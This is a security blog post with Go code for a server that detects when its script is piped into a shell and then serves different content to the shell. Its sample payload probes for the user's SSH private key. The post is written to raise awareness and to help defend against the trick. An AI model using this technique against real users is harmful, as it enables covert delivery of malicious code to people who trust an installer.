Detecting Pipe to Shell using Go

A few months ago I came across an article about the detection of the curl | bash pattern using sleep statements in the returned shell code, written by phil on his blog “Application Security”. After reading the article I wanted to create a own version, which does not rely on sleep statements in the code, but instead uses another curl request in the returned script.

Background Information

To give some background knowledge how this is possible and what is required to build such a server, I will repeat the most important aspects of the behavior. If you are interested in the background more in-depth, I would recommend to read the referenced article.

When piping curl to bash or another shell of your choice, the commands get executed line by line. When the server sends a line of curl <URL>, the client will wait with the consumption of further packets from the server until the commands within that line are executed and then pass the next line to bash over the pipe.

Additionally, send and receive buffers on Linux have to be taken into consideration, which buffer the contents per socket connection. Before the curl command is passed to the shell, the receive buffer has to be filled with a character that is not visible in the shell. The only character in this case is the null byte 0x00.

This means we can serve a script that contains a curl statement at the beginning and check whether that command is executed until sending the remaining content, allowing us to send different content when our script is piped into a shell or not.

Creation of a modified Server

Armed with some background information, we can now continue by creating a server implementing what we described above. This example is implemented using Go, but it would work of course with most other languages as well.

First, we require a web server serving two routes:

  • /script: Serving our shell script / fake installer
  • /verify: Returning a checksum; Requested from our served script from the /script endpoint

We continue to create a struct for the fake server, storing the listening address, remote address of the server and some additional variables, which are explained later:

type detectionServer struct {
  Addr           string
  RemoteURL      string
  WaitTime       int64
  PayloadShell   string
  PayloadDefault string
  server         *http.Server
  receivedVerify chan (bool)
  bufrw          *bufio.ReadWriter
}

func (d *detectionServer) ListenAndServe() error {
  d.receivedVerify = make(chan bool)

  mux := http.NewServeMux()
  mux.HandleFunc("/script", d.handlerScript)
  mux.HandleFunc("/verify", d.handlerVerify)

  d.server = &http.Server{
    Addr:           d.Addr,
    Handler:        mux,
    ReadTimeout:    10 * time.Second,
    WriteTimeout:   10 * time.Second,
    MaxHeaderBytes: 1 << 20,
  }

  return d.server.ListenAndServe()
}

The snippet above creates a web server, listening on the provided address with two defined routes. Next we will create the handler for our /script endpoint.

The following code shows the creation of the handlerScript function and contains comments explaining its functionality:

func (d *detectionServer) handlerScript(w http.ResponseWriter, r *http.Request) {
  log.Println("script handler - start")

  //Hijack Connection, allowing us direct access to the TCP socket
  hijacker, _ := w.(http.Hijacker)
  conn, bufrw, err := hijacker.Hijack()
  if err != nil {
    http.Error(w, err.Error(), http.StatusInternalServerError)
    return
  }
  defer conn.Close()

  //Store Buffered ReadWriter in our struct
  d.bufrw = bufrw

  //Send response parts (see below)
  d.sendResponseHeaders()
  d.sendTrigger()
  d.sendSpacing()

  //ToDo: Do stuff

  log.Println("script handler - end")
}

//sendResponseHeaders sets manually the response headers of our request, defining
//that the request response will be chunked
func (d *detectionServer) sendResponseHeaders() {
  d.bufrw.WriteString("HTTP/1.1 200 OK\n")
  d.bufrw.WriteString("Host: localhost\n")
  d.bufrw.WriteString("Transfer-type: chunked\n")
  d.bufrw.WriteString("Content-Type: text/plain; charset=utf-8\n\n")
  d.bufrw.Flush()
}

//sendTrigger sends the first part of our payload to the client, containing
//a curl request to our verify endpoint
func (d *detectionServer) sendTrigger() {
  d.bufrw.WriteString("echo \"Getting Checksum to verify binary...\";\n")
  d.bufrw.WriteString("checksum=$(curl -sS " + d.RemoteURL + "/verify;)\n")
  d.bufrw.Flush()
}

//sendSpacing sends the null bytes to fill up the receive buffer on the target
//machine. The number 87380 is chosen based on the default configuration of
//Ubuntu 16.04 and may have to be adapted
func (d *detectionServer) sendSpacing() {
  d.bufrw.WriteString(strings.Repeat("\x00", 87380))
  d.bufrw.Flush()
}

When this endpoint is now opened via a web browser or curl, nothing will happen aside from showing the two lines of the response. As next step the verify endpoint has to be created:

func (d *detectionServer) handlerVerify(w http.ResponseWriter, r *http.Request) {
	log.Println("verify handler - start")

	io.WriteString(w, "d8e8fca2dc0f896fd7cb4cb0031ba249")
	d.receivedVerify <- true

	log.Println("verify handler - end")
}

This endpoint does two things:

  • Return a random md5 checksum as response
  • Send a boolean into the channel, providing notification for the request to the routes

Last but not least, the functionality for the detection of the pipe to shell itself is added in the ToDo section of the script handler:

func (d *detectionServer) handlerScript(w http.ResponseWriter, r *http.Request) {
  //[...]
  select {
  case <-d.receivedVerify:
    d.sendPayloadShell()
  case <-time.After(d.WaitTime):
    d.sendPayloadDefault()
  }
  //[...]
}

func (d *detectionServer) sendPayloadShell() {
  log.Println("Received verify request while waiting, assuming we get piped into a shell")
  d.bufrw.WriteString(d.PayloadShell)
}

func (d *detectionServer) sendPayloadDefault() {
  log.Println("No Request received in the last two second, assuming no pipe to shell...")
  d.bufrw.WriteString(d.PayloadDefault)
}

The select will block until one of the channels sent a value, which is either the case after N seconds passed or our verify request got called. If the verify route was called before N seconds passed, it’s safe to assume that the script is directly piped into a shell instance. Otherwise, one can assume that its a web browser, curl or wget making the request.

Now after we got everything set up, we create some code which creates an instance of our detectionServer serving two different payloads depending whether a pipe to bash is detected or not:

func main() {

	payloadDefault := "echo \"Checksum found: ${checksum}\";\n"

	payloadShell := "echo \"Checksum found: ${checksum}\";\n" +
		"ls -la;\n" +
		"file ~/.ssh/id_rsa;\n"

	server := &detectionServer{
		Addr:           ":10000",
		RemoteURL:      "http://localhost:10000",
		WaitTime:       time.Second * 2,
		PayloadDefault: payloadDefault,
		PayloadShell:   payloadShell,
	}
	log.Fatal(server.ListenAndServe())
}

Demonstration

After starting the server, we are making an HTTP request to the /script endpoint with wget and curl:

Shelldetect Demonstration

The following log output is created when executing the commands above:

2016/10/29 19:39:18 script handler - start
2016/10/29 19:39:19 No Request received in the last two second, assuming no pipe to shell...
2016/10/29 19:39:19 script handler - end
2016/10/29 19:39:24 script handler - start
2016/10/29 19:39:24 No Request received in the last two second, assuming no pipe to shell...
2016/10/29 19:39:24 script handler - end
2016/10/29 19:39:29 script handler - start
2016/10/29 19:39:29 verify handler - start
2016/10/29 19:39:29 verify handler - end
2016/10/29 19:39:29 Received verify request while waiting, assuming we get piped into a shell
2016/10/29 19:39:29 script handler - end
2016/10/29 19:39:33 script handler - start
2016/10/29 19:39:33 verify handler - start
2016/10/29 19:39:33 verify handler - end
2016/10/29 19:39:33 Received verify request while waiting, assuming we get piped into a shell
2016/10/29 19:39:33 script handler - end

The first and second request print the payloadDefault of our server, since the second request is not executed. The third and fourth request however return the payloadShell contents, since the second request to the verify endpoint is executed and our handlerScript function notified.

Limitations

The code and method itself have various limitations. While the method described in the referenced article using a sleep in front of a cat command will not help to detect this technique, piping the output to an editor like vim or cat -v will display the sent null bytes:

wget -O - http://localhost:10000/script -q | cat -v

Additionally, the code itself right now is only able to serve a single client and would fail if two clients accessed it at the same time and has to be extended to fingerprint the client and map the verify request to the related script request. The WaitTime has to be adjusted in case the connecting client has a slow network connection, even though 2 seconds should be fine for most scenarios.

Conclusion

This once again shows that piping random URLs into your shell is a bad idea. Aside from traditional MitM attacks there are various other techniques to detect the pattern server-side and respond with different content. When there is no version available in your distro repositories, download the script manually and validate its content before executing it.

In case you are interested in the full source code, you can find it in the following Github Repository.